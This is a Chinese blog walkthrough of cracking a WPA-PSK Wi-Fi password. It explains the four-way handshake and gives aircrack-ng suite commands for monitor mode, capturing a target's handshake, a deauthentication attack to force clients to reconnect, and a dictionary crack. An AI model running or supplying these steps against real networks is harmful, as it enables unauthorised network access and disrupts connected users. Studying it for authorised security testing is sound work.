[技术]无线WIFI攻击(安全检测)
概述
工作需要学习一点无线知识,索性就买了个USB的无线网卡,做了个实验,简单了解下wifi无线破解的知识。
基础知识
WEP(Wired Equivalent Privacy有线对等保密)
最早的无线加密体制,由于算法的缺陷很容易被破解。抓包获取在数据流中明文传输的IV,再通过统计学方法用IV得到密钥。
WPA
在不升级硬件的前提下,WAP使用TKIP(Temporal Key Integrity Protocol临时密钥集成协议) 来实现WLAN的访问控制、密钥管理和数据加密来增强WEP的安全性。WPA加密算法有两个版本。
-
WPA = 802.1x + EAP + TKIP + MIC = Pre-shared Key + TKIP + MIC
-
WPA2 = 802.1x + EAP + AES + CCMP = Pre-shared Key + AES + CCMP
PS:
身份校验算法:802.1x + EAP(工业级、不怕网络劫持和字典攻击、认证服务器)、Pre-shared Key(家庭用、容易被字典攻击、无服务器)
数据传输加密算法:TKIP、AES
数据完整性校验算法:MIC、CCMP
WPA-PSK 的四次握手过程
-
AP初始化
使用 SSID 和passphares作为入参,通过哈希算法产生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)
-
第一次握手
AP广播SSID,AP_MAC(AA);
STATION 端使用接收到的SSID,AP_MAC和passphares使用同样算法产生PSK。
-
第二次握手
STATION 发送一个随机数SNonce,STATION_MAC(SA)给AP;
AP端接收到SNonce、STATION_MAC(SA)后产生一个随机数ANonce,然后用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF算法产生PTK,提取这个 PTK 前16 个字节组成一个MIC KEY。
PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))
-
第三次握手
AP发送上面产生的ANonce给STATION
STATION 端用接收到ANonce 和以前产生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同样的算法产生PTK。提取这个PTK 前16 个字节组成一个MIC KEY使用以下算法产生MIC值用这个MIC KEY 和一个802.1X数据帧使用以下算法得到MIC值
MIC = HMAC_MD5(MIC Key,16,802.1X data)
-
第四次握手
STATION 发送802.1X 数据帧,MIC给AP;STATION 端用上面那个准备好的802.1X 数据帧在最后填充上MIC值和两个字节的0(十六进制)然后发送这个数据帧到AP。
AP端收到这个数据帧后提取这个MIC。并把这个数据帧的MIC部分都填上0(十六进制)这时用这个802.1X数据帧,和用上面AP产生的 MIC KEY 使用同样的算法得出MIC’。如果MIC’等于STATION 发送过来的MIC。那么第四次握手成功。若不等说明则AP 和 STATION 的密钥不相同,握手失败了。
破解
WPA—PSK破解原理
用我们字典中的Passphrase+SSID先生成PMK,然后结合握手包中的STA_MAC、AP_MAC、ANONCE、SNONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。
环境
-
VMware workstation 中安装的Kali Linux 2.0 (2018.1)
-
TL-WN725N 无线网卡
PS:由于是虚拟机,注意是否usb挂载成功以及宿主机的VM usb服务是否开启。
插上USB无线网卡后,运行iwconfig
以及lsusb
,发现kali没有相关驱动:
安装驱动
-
安装内核源代码、内核头文件以及编译环境。
apt-get install linux-source # 安装内核源代码
apt-get install linux-headers-$(uname -r) # 安装内核头文件
apt-get install build-essential # 安装编译环境
-
在虚拟机中安装网卡驱动。
由于官网找不到这个型号网卡在Linux上的驱动,通过google找到了可用的驱动,选择其中一个下载并安装即可:
-
运行
airmon-ng
或者iwconfig
,驱动安装成功:
root@kali:/# airmon-ng
PHY Interface Driver Chipset
phy1 wlan0 mt7601u Ralink Technology, Corp. MT7601U
破解过程
-
把usb网卡插入虚拟机,并开启网卡到监听模式,命令如下:
airmon-ng start wlan0 (wlan0为无线网卡名称)
-
抓包查看所在区域无线网的状态,选择需破解的目标网络,命令如下:
airodump-ng wlan0mon ( wlan0mon 为无线网卡名称)
-
抓取目标网络的握手包,命令如下:
1 |
airodump-ng -c 1 --bssid F0:B4:29:65:06:1B -w /root/Desktop/ wlan0mon
|
如果抓不到握手包,说明没有人用这个热点。
-
重新打开一个terminal窗口,使用DEAUTH攻击使已经连接的客户端断开并重新连接,以产生握手包。(注意:抓握手包破解必须有合法的客户端才行)命令如下:
12 |
# 参数解释:- 0 deauth攻击 10:进行10次攻击 -a:AP的MAC地址 -c:已连接该AP的客户端MAC地址 |
当获取到握手包时会出现红框内的信息:
-
通过四次握手包和字典破解密码
# -a2 WPA的方法破解握手包 -w:字典路径 -02.cap: 第四步中抓取的握手包文件名 aircrack-ng -a2 -b F0:B4:29:65:06:1B -w /root/Desktop/6000_password.txt /root/Desktop/-02.cap
总结
编译Linux驱动还很烦人的,主要时间还是浪费在了驱动上,破解操作比较简单,基本安装参考文章来的。